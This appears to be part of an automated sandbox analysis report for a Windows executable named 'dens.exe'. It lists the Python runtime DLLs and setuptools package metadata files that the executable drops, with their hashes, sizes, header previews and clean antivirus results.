Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......v`.2...2...2...;y..0..."...0...yy..0..."...1..."...:..."...9...!...1...2...G...z...3...z...3...z.s.3...z...3...Rich2...................PE..d....}.f.........." ...).\...^...... `....................................................`.............................................d...$...d...............x...............,...................................P...@............p...............................text....[.......\.................. ..`.rdata...+...p...,...`..............@..@.data...."..........................@....pdata..x...........................@..@.rsrc...............................@..@.reloc..,...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\pyexpat.pyd

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	202008
Entropy (8bit):	6.369252583877094
Encrypted:	false
SSDEEP:	3072:qwJ1l3SauVCjLwifFPYKDRW97oaU+1urfmwl1CnLiHbe7pjMeU8F5IMLhA8:73SauVCwi6KDRW97oaVybCLiS7pq8FZ
MD5:	8C1F876831395D146E3BCADCEA2486DD
SHA1:	82CBFB59F0581A0554D6A5061E1F82E6B46A3473
SHA-256:	D32D7722D6ED2B2780C039D63AF044554C0BA9CF6E6EFEF28EBC79CB443D2DA0
SHA-512:	73067BB8DCC44CD52551A48400BD8E721268DD44F9884EBB603452ECE9C7BD276D40B7CBCA4F10223F27B8CCDCD1D2EC298A1C767A691859AEA10056C108A730
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!...@..@..@..8N..@.:...@.:...@.:...@.:...@.....@..8..@..@..@.....@.....@..."..@.....@.Rich.@.........PE..d...`b.f.........." ...(..................................................... ......gi....`............................................P...@............................/..........`4..T........................... 3..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...p ..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\python3.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	68376
Entropy (8bit):	6.147701397143669
Encrypted:	false
SSDEEP:	768:OV1EbYGVXq6KC/prVHBN0cW18itCQDFPnOMFn+gikF/nFX14uewjBcCCC0yamM/d:ODmF61JFn+/Ob5IML0l7SySxUx
MD5:	5EACE36402143B0205635818363D8E57
SHA1:	AE7B03251A0BAC083DEC3B1802B5CA9C10132B4C
SHA-256:	25A39E721C26E53BEC292395D093211BBA70465280ACFA2059FA52957EC975B2
SHA-512:	7CB3619EA46FBAAF45ABFA3D6F29E7A5522777980E0A9D2DA021D6C68BCC380ABE38E8004E1F31D817371FB3CDD5425D4BB115CB2DC0D40D59D111A2D98B21D4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........5...Te..Te..Te...m..Te...e..Te.....Te...g..Te.Rich.Te.................PE..d...Ab.f.........." ...(.............................................................F....`.........................................`...H................................/..............T............................................................................rdata..............................@..@.rsrc...............................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\python312.dll

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6927640
Entropy (8bit):	5.765552513907485
Encrypted:	false
SSDEEP:	49152:mRSn173WIgXqQYRn0I+gaYFD0iRpIrCMEGXgeieBwHTuJTA8LbLH7ft4OCLj8j4V:mIn8hYEgw8Ij887GlSvBHDMiEruuln
MD5:	166CC2F997CBA5FC011820E6B46E8EA7
SHA1:	D6179213AFEA084F02566EA190202C752286CA1F
SHA-256:	C045B57348C21F5F810BAE60654AE39490846B487378E917595F1F95438F9546
SHA-512:	49D9D4DF3D7EF5737E947A56E48505A2212E05FDBCD7B83D689639728639B7FD3BE39506D7CFCB7563576EBEE879FD305370FDB203909ED9B522B894DD87AACB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........D..Z%..Z%..Z%......X%....e.T%......^%......R%......W%..S]..@%...]..Q%..Z%..$..O....%..O...[%..O.g.[%..O...[%..RichZ%..........PE..d...=b.f.........." ...(..(..4B..... .........................................j......[j...`..........................................cN.d...$1O.......i......._.xI....i../... i.([....2.T.....................H.(...p.2.@............ (..............................text.....(.......(................. ..`.rdata...6'.. (..8'...(.............@..@.data....I...`O......HO.............@....pdata..xI...._..J....^.............@..@PyRuntim0.....b.......a.............@....rsrc.........i...... h.............@..@.reloc..([... i..\...h.............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\select.pyd

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	31000
Entropy (8bit):	6.556986708902353
Encrypted:	false
SSDEEP:	384:IyRVBC9t6Lhz64CHf2slDT90Y5IMQGCHQIYiSy1pCQFm/AM+o/8E9VF0Ny/r5n+/:LGyKHfx1H5IMQGY5YiSyv4AMxkEFNnq
MD5:	7C14C7BC02E47D5C8158383CB7E14124
SHA1:	5EE9E5968E7B5CE9E4C53A303DAC9FC8FAF98DF3
SHA-256:	00BD8BB6DEC8C291EC14C8DDFB2209D85F96DB02C7A3C39903803384FF3A65E5
SHA-512:	AF70CBDD882B923013CB47545633B1147CE45C547B8202D7555043CFA77C1DEEE8A51A2BC5F93DB4E3B9CBF7818F625CA8E3B367BFFC534E26D35F475351A77C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........t..'..'..'..g'..'-..&..'-..&..'-..&..'-..&..'...&..'..'...'...&..'...&..'...&..'...'..'...&..'Rich..'................PE..d...`b.f.........." ...(.....2.......................................................o....`..........................................@..L...<A..x....p.......`.......J.../......L....3..T............................2..@............0...............................text............................... ..`.rdata.......0......................@..@.data...`....P.......8..............@....pdata.......`.......:..............@..@.rsrc........p.......>..............@..@.reloc..L............H..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\autocommand-2.2.2.dist-info\INSTALLER

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\autocommand-2.2.2.dist-info\LICENSE

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7634
Entropy (8bit):	4.503638339817033
Encrypted:	false
SSDEEP:	192:qnJvhVL0qhYqlpIle4RrJQSqOBng4kS/cKM6b:4vjxhYWpce48engvK
MD5:	8466CFC6533376D42EFA6F7423F2B8E8
SHA1:	2BC8926FDBB07DB2AF0A8E3FF7A3BE545C8BDF6B
SHA-256:	ADE78D04982D69972D444A8E14A94F87A2334DD3855CC80348EA8E240AA0DF2D
SHA-512:	CC45DC470E107E63659B502F77E9EF44335F9427BE87639252D85181A8DEA65FA9D1B5F1BD196F782186BC61B144467888199537806A8CC15E2B462CAC0D46A5
Malicious:	false
Preview:	GNU LESSER GENERAL PUBLIC LICENSE. Version 3, 29 June 2007.. Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>. Everyone is permitted to copy and distribute verbatim copies. of this license document, but changing it is not allowed.... This version of the GNU Lesser General Public License incorporates.the terms and conditions of version 3 of the GNU General Public.License, supplemented by the additional permissions listed below... 0. Additional Definitions... As used herein, "this License" refers to version 3 of the GNU Lesser.General Public License, and the "GNU GPL" refers to version 3 of the GNU.General Public License... "The Library" refers to a covered work governed by this License,.other than an Application or a Combined Work as defined below... An "Application" is any work that makes use of an interface provided.by the Library, but which is not otherwise based on the Library..Defining a subclass of a class defined by the Library is de

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\autocommand-2.2.2.dist-info\METADATA

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	Python script, ASCII text executable, with very long lines (855)
Category:	dropped
Size (bytes):	15006
Entropy (8bit):	4.800156894367144
Encrypted:	false
SSDEEP:	192:S037UxjwUbQd1Ak++k59jg8dXRNInXF2IOxcme+kQBd9Clb:d37U1LbQd1Z+3e8dhwXFacb+kQjQb
MD5:	542BA4FBC993C39A0BC952BE72E8717F
SHA1:	4310DB58F98C12B23286E5FA37F0E27ABEFB6A4A
SHA-256:	3800D9B91DCEEA2065A6ED6279383362E97AC38B8E56B9343F404EE531860099
SHA-512:	E3672EA056E5F2EFD3685C98DC0CF47E9A44F5A84DC457FC8AB31CD6DE09559C6E566D2D00F5B3CE55511E81A050DBB0DED6CF941916A6FF1019392FD96E1636
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	Metadata-Version: 2.1.Name: autocommand.Version: 2.2.2.Summary: A library to create a command-line program from a function.Home-page: https://github.com/Lucretiel/autocommand.Author: Nathan West.License: LGPLv3.Project-URL: Homepage, https://github.com/Lucretiel/autocommand.Project-URL: Bug Tracker, https://github.com/Lucretiel/autocommand/issues.Platform: any.Classifier: Development Status :: 6 - Mature.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: GNU Lesser General Public License v3 (LGPLv3).Classifier: Programming Language :: Python.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3 :: Only.Classifier: Topic :: Software Development.Classifier: Topic :: Software Development :: Libraries.Classifier: Topic :: Software Development :: Libraries :: Python Modules.Requires-Python: >=3.7.Description-Content-Type: text/markdown.License-File: LICENSE..[![PyPI version](https://badge.fury.io/py/autocommand.svg)](

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\autocommand-2.2.2.dist-info\RECORD

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1308
Entropy (8bit):	5.721750099226425
Encrypted:	false
SSDEEP:	24:kn/2zDcMvX4owkE+RlpGUttyvUMDtuH5p4D127cyOMT34:knuXNv4LkEMl0UWMF5p45AcuT34
MD5:	52BF4937018B88B9D28ED98A76B5E2AC
SHA1:	C8D5B732C154A2D4D501454647FAFEB356B93C4E
SHA-256:	822BBA66B41526FA547186B80221F85DA50D652BEE5493DBFE5D14085112F0C3
SHA-512:	30E4DEFE09FB8907166682F9A33E0F7CC0203B65113155BBEC6548A1EADF7250882AF295FF2551803703274F9F387E00439D95CBBCB63D2E04E371B94556B3EE
Malicious:	false
Preview:	autocommand-2.2.2.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..autocommand-2.2.2.dist-info/LICENSE,sha256=reeNBJgtaZctREqOFKlPh6IzTdOFXMgDSOqOJAqg3y0,7634..autocommand-2.2.2.dist-info/METADATA,sha256=OADZuR3O6iBlpu1ieTgzYul6w4uOVrk0P0BO5TGGAJk,15006..autocommand-2.2.2.dist-info/RECORD,,..autocommand-2.2.2.dist-info/WHEEL,sha256=2wepM1nk4DS4eFpYrW1TTqPcoGNfHhhO_i5m4cOimbo,92..autocommand-2.2.2.dist-info/top_level.txt,sha256=AzfhgKKS8EdAwWUTSF8mgeVQbXOY9kokHB6kSqwwqu0,12..autocommand/__init__.py,sha256=zko5Rnvolvb-UXjCx_2ArPTGBWwUK5QY4LIQIKYR7As,1037..autocommand/__pycache__/__init__.cpython-312.pyc,,..autocommand/__pycache__/autoasync.cpython-312.pyc,,..autocommand/__pycache__/autocommand.cpython-312.pyc,,..autocommand/__pycache__/automain.cpython-312.pyc,,..autocommand/__pycache__/autoparse.cpython-312.pyc,,..autocommand/__pycache__/errors.cpython-312.pyc,,..autocommand/autoasync.py,sha256=AMdyrxNS4pqWJfP_xuoOcImOHWD-qT7x06wmKN1Vp-U,5680..autocommand/autoco

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\autocommand-2.2.2.dist-info\WHEEL

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	92
Entropy (8bit):	4.842566724466667
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlViJR4KgP+tPCCfA5S:RtBMwlVifAWBBf
MD5:	88F09A0EC874FD86ABCB9BC4E265B874
SHA1:	786AB44FFD2F5C632B4DC5C1BF4AA2E91E579A05
SHA-256:	DB07A93359E4E034B8785A58AD6D534EA3DCA0635F1E184EFE2E66E1C3A299BA
SHA-512:	7FFEF1EC782D590D2879294C2895A5A8064ECD5FE7243CF602FCCE66A8A715F64436F17CE96070B613123847EE0C18AB0AA5BC87DB13E98A792DC07DD95E4BAB
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.38.4).Root-Is-Purelib: true.Tag: py3-none-any..

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\autocommand-2.2.2.dist-info\top_level.txt

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	12
Entropy (8bit):	3.084962500721156
Encrypted:	false
SSDEEP:	3:5EEln:aM
MD5:	C3FBD7931840D987F261BEBA8C77C4D2
SHA1:	F7EE740BCB5C39966173CC377817A157D55844F7
SHA-256:	0337E180A292F04740C16513485F2681E5506D7398F64A241C1EA44AAC30AAED
SHA-512:	E1FA2DE0EE416AE68C57A0173C82D42A8F24DDD1E5143A1B76A3743B5EC3DDF11FB3950F27469D3D8FCAC4958CE267A7321D2F888671EDD7C2E95D0F3F8F7455
Malicious:	false
Preview:	autocommand.

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\backports.tarfile-1.2.0.dist-info\INSTALLER

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\backports.tarfile-1.2.0.dist-info\LICENSE

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1023
Entropy (8bit):	5.059832621894572
Encrypted:	false
SSDEEP:	24:OrmJHcwH0MP3gt8Hw1hj9QHOsUv4eOk4/+/m3oqMSFJ:OaJ8YHvEH5QHOs5exm3oEFJ
MD5:	141643E11C48898150DAA83802DBC65F
SHA1:	0445ED0F69910EEAEE036F09A39A13C6E1F37E12
SHA-256:	86DA0F01AEAE46348A3C3D465195DC1CECCDE79F79E87769A64B8DA04B2A4741
SHA-512:	EF62311602B466397BAF0B23CACA66114F8838F9E78E1B067787CEB709D09E0530E85A47BBCD4C5A0905B74FDB30DF0CC640910C6CC2E67886E5B18794A3583F
Malicious:	false
Preview:	Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to.deal in the Software without restriction, including without limitation the.rights to use, copy, modify, merge, publish, distribute, sublicense, and/or.sell copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING.FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEA

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\backports.tarfile-1.2.0.dist-info\METADATA

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2020
Entropy (8bit):	5.0469065437932175
Encrypted:	false
SSDEEP:	48:DfdqaaC3P1xe9okGw1w8wQwywbM0kvsJib0ts++kv0gMzvy0htC+heU01:DfdqaaC/12G2bHZokO+/36
MD5:	18B352E2051962B9F65C33BC651426BF
SHA1:	3DD8D93CF7695D1C9D7574751AB5B0DEE5DD7F9A
SHA-256:	8215C54EAD77D9DC5A108A25C6BDC72B5999AA6F62C9499A440359412AFA5A51
SHA-512:	D966BC2899079C0D9AC763C96EA59A550E00A54BDCEEB6D96B0A8CAA9F6A1C408E7E3946915432978EDE9EDF669EEC68035A55B094B69671A28428458760D99E
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: backports.tarfile.Version: 1.2.0.Summary: Backport of CPython tarfile module.Author-email: "Jason R. Coombs" <jaraco@jaraco.com>.Project-URL: Homepage, https://github.com/jaraco/backports.tarfile.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: MIT License.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3 :: Only.Requires-Python: >=3.8.Description-Content-Type: text/x-rst.License-File: LICENSE.Provides-Extra: docs.Requires-Dist: sphinx >=3.5 ; extra == 'docs'.Requires-Dist: jaraco.packaging >=9.3 ; extra == 'docs'.Requires-Dist: rst.linker >=1.9 ; extra == 'docs'.Requires-Dist: furo ; extra == 'docs'.Requires-Dist: sphinx-lint ; extra == 'docs'.Provides-Extra: testing.Requires-Dist: pytest !=8.1.*,>=6 ; extra == 'testing'.Requires-Dist: pytest-checkdocs >=2.4 ; extra == 'testing'.Requires-Dist: pytest-cov ; extra == 'testing

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\backports.tarfile-1.2.0.dist-info\RECORD

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	5.753738299642538
Encrypted:	false
SSDEEP:	24:U6rn/2zDJ6rvbqfuG6rJnB6rU6rEsJYB6rXamx6rlCHmTKjaQliwxJlp5DQljQls:NnuXIzUurJwN5JjfAlqYK9liSlp5DQlP
MD5:	CF347AE8E31132435B127226F358F8CD
SHA1:	2C857B300638FF291651234BBB2C077BEEF494E4
SHA-256:	258A1F1C849E1175069A55A5D6CE357AFDD04E34CD5DE27093E4ACEC7A9D2CE1
SHA-512:	2A46C7FDFA2F9883BB1D761646B33BE9CE7B07280A5BF38992C1C84AB0449944EB0CAF34620CCC82DDBBC193F0D54AE67797D97863F70CA0C24EE55A3B401F9C
Malicious:	false
Preview:	backports.tarfile-1.2.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..backports.tarfile-1.2.0.dist-info/LICENSE,sha256=htoPAa6uRjSKPD1GUZXcHOzN55956HdppkuNoEsqR0E,1023..backports.tarfile-1.2.0.dist-info/METADATA,sha256=ghXFTq132dxaEIolxr3HK1mZqm9iyUmaRANZQSr6WlE,2020..backports.tarfile-1.2.0.dist-info/RECORD,,..backports.tarfile-1.2.0.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..backports.tarfile-1.2.0.dist-info/WHEEL,sha256=GJ7t_kWBFywbagK5eo9IoUwLW6oyOeTKmQ-9iHFVNxQ,92..backports.tarfile-1.2.0.dist-info/top_level.txt,sha256=cGjaLMOoBR1FK0ApojtzWVmViTtJ7JGIK_HwXiEsvtU,10..backports/__init__.py,sha256=iOEMwnlORWezdO8-2vxBIPSR37D7JGjluZ8f55vzxls,81..backports/__pycache__/__init__.cpython-312.pyc,,..backports/tarfile/__init__.py,sha256=Pwf2qUIfB0SolJPCKcx3vz3UEu_aids4g4sAfxy94qg,108491..backports/tarfile/__main__.py,sha256=Yw2oGT1afrz2eBskzdPYL8ReB_3liApmhFkN2EbDmc4,59..backports/tarfile/__pycache__/__init__.cpython-312.pyc,,..back

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\backports.tarfile-1.2.0.dist-info\WHEEL

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	92
Entropy (8bit):	4.812622295095324
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlVlFxP+tPCCfA5S:RtBMwlVTxWBBf
MD5:	43136DDE7DD276932F6197BB6D676EF4
SHA1:	6B13C105452C519EA0B65AC1A975BD5E19C50122
SHA-256:	189EEDFE4581172C1B6A02B97A8F48A14C0B5BAA3239E4CA990FBD8871553714
SHA-512:	E7712BA7D36DEB083EBCC3B641AD3E7D19FB071EE64AE3A35AD6A50EE882B20CD2E60CA1319199DF12584FE311A6266EC74F96A3FB67E59F90C7B5909668AEE1
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.43.0).Root-Is-Purelib: true.Tag: py3-none-any..

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\backports.tarfile-1.2.0.dist-info\top_level.txt

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10
Entropy (8bit):	3.321928094887362
Encrypted:	false
SSDEEP:	3:21v:ev
MD5:	9BA458821AD258B6EF62B47E91302982
SHA1:	9EDB9E6BA5C4001CE2FCCF328739292404EA9604
SHA-256:	7068DA2CC3A8051D452B4029A23B73595995893B49EC91882BF1F05E212CBED5
SHA-512:	3A296E5DADD5B406330BA088BFED33BE6960F8FF42DB6651E185FF14F2272FC819EF520D1A15BC40DA4E20B9CA0E5D79170EDF33F3D50937C7FBEDB338CAC730
Malicious:	false
Preview:	backports.

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\INSTALLER

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\LICENSE

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	11358
Entropy (8bit):	4.4267168336581415
Encrypted:	false
SSDEEP:	192:nU6G5KXSD9VYUKhu1JVF9hFGvV/QiGkS594drFjuHYx5dvTrLh3kTSEn7HbHR:U9vlKM1zJlFvmNz5VrlkTS07Ht
MD5:	3B83EF96387F14655FC854DDC3C6BD57
SHA1:	2B8B815229AA8A61E483FB4BA0588B8B6C491890
SHA-256:	CFC7749B96F63BD31C3C42B5C471BF756814053E847C10F3EB003417BC523D30
SHA-512:	98F6B79B778F7B0A15415BD750C3A8A097D650511CB4EC8115188E115C47053FE700F578895C097051C9BC3DFB6197C2B13A15DE203273E1A3218884F86E90E8
Malicious:	false
Preview:	. Apache License. Version 2.0, January 2004. http://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that control, are controlled by, or are under common. control with that entity. For the purposes of this definition,. "control" means (i) the power, direct or indirect, to cause the. direction or management of such entity, whether by contract or. otherwise, or (ii) ownership of fifty percent (50%) or more of the. outstanding shares, or (iii) beneficial own

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\METADATA

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4648
Entropy (8bit):	5.006900644756252
Encrypted:	false
SSDEEP:	96:Dx2ZSaCSmS8R902Vpnu386eLQ9Ac+fFZpDN00x2jZ2SBXZJSwTE:9Smzf02Vpnu386mQ9B+TP0vJHJSwTE
MD5:	98ABEAACC0E0E4FC385DFF67B607071A
SHA1:	E8C830D8B0942300C7C87B3B8FD15EA1396E07BD
SHA-256:	6A7B90EFFEE1E09D5B484CDF7232016A43E2D9CC9543BCBB8E494B1EC05E1F59
SHA-512:	F1D59046FFA5B0083A5259CEB03219CCDB8CC6AAC6247250CBD83E70F080784391FCC303F7630E1AD40E5CCF5041A57CB9B68ADEFEC1EBC6C31FCF7FFC65E9B7
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: importlib_metadata.Version: 8.0.0.Summary: Read metadata from Python packages.Author-email: "Jason R. Coombs" <jaraco@jaraco.com>.Project-URL: Source, https://github.com/python/importlib_metadata.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: Apache Software License.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3 :: Only.Requires-Python: >=3.8.Description-Content-Type: text/x-rst.License-File: LICENSE.Requires-Dist: zipp >=0.5.Requires-Dist: typing-extensions >=3.6.4 ; python_version < "3.8".Provides-Extra: doc.Requires-Dist: sphinx >=3.5 ; extra == 'doc'.Requires-Dist: jaraco.packaging >=9.3 ; extra == 'doc'.Requires-Dist: rst.linker >=1.9 ; extra == 'doc'.Requires-Dist: furo ; extra == 'doc'.Requires-Dist: sphinx-lint ; extra == 'doc'.Requires-Dist: jaraco.tidelift >=1.4 ; extra == 'doc'.Provides-Extra: perf.Requires-D

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\RECORD

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	2518
Entropy (8bit):	5.6307766747793275
Encrypted:	false
SSDEEP:	48:UnuXTg06U5J/Vw9l/gfNX7/XzBk9pvJq/fwJOfYrBfnJ/V0XJnzN/3WJV:bXzP/EgdzzBkDJsoIYrBfJ/CXNz9qV
MD5:	EB513CAFA5226DDA7D54AFDCC9AD8A74
SHA1:	B394C7AEC158350BAF676AE3197BEF4D7158B31C
SHA-256:	0D8D3C6EEB9EBBE86CAC7D60861552433C329DA9EA51248B61D02BE2E5E64030
SHA-512:	A0017CFAFF47FDA6067E3C31775FACEE4728C3220C2D4BD70DEF328BD20AA71A343E39DA15CD6B406F62311894C518DFCF5C8A4AE6F853946F26A4B4E767924E
Malicious:	false
Preview:	importlib_metadata-8.0.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..importlib_metadata-8.0.0.dist-info/LICENSE,sha256=z8d0m5b2O9McPEK1xHG_dWgUBT6EfBDz6wA0F7xSPTA,11358..importlib_metadata-8.0.0.dist-info/METADATA,sha256=anuQ7_7h4J1bSEzfcjIBakPi2cyVQ7y7jklLHsBeH1k,4648..importlib_metadata-8.0.0.dist-info/RECORD,,..importlib_metadata-8.0.0.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..importlib_metadata-8.0.0.dist-info/WHEEL,sha256=mguMlWGMX-VHnMpKOjjQidIo1ssRlCFu4a4mBpz1s2M,91..importlib_metadata-8.0.0.dist-info/top_level.txt,sha256=CO3fD9yylANiXkrMo4qHLV_mqXL2sC5JFKgt1yWAT-A,19..importlib_metadata/__init__.py,sha256=tZNB-23h8Bixi9uCrQqj9Yf0aeC--Josdy3IZRIQeB0,33798..importlib_metadata/__pycache__/__init__.cpython-312.pyc,,..importlib_metadata/__pycache__/_adapters.cpython-312.pyc,,..importlib_metadata/__pycache__/_collections.cpython-312.pyc,,..importlib_metadata/__pycache__/_compat.cpython-312.pyc,,..importlib_metadata/__pycac

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\WHEEL

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	91
Entropy (8bit):	4.687870576189661
Encrypted:	false
SSDEEP:	3:RtEeXMRYFAVLMvhRRP+tPCCfA5S:RtC1VLMvhjWBBf
MD5:	7D09837492494019EA51F4E97823D79F
SHA1:	7829B4324BB542799494131A270EC3BDAD4DEDEF
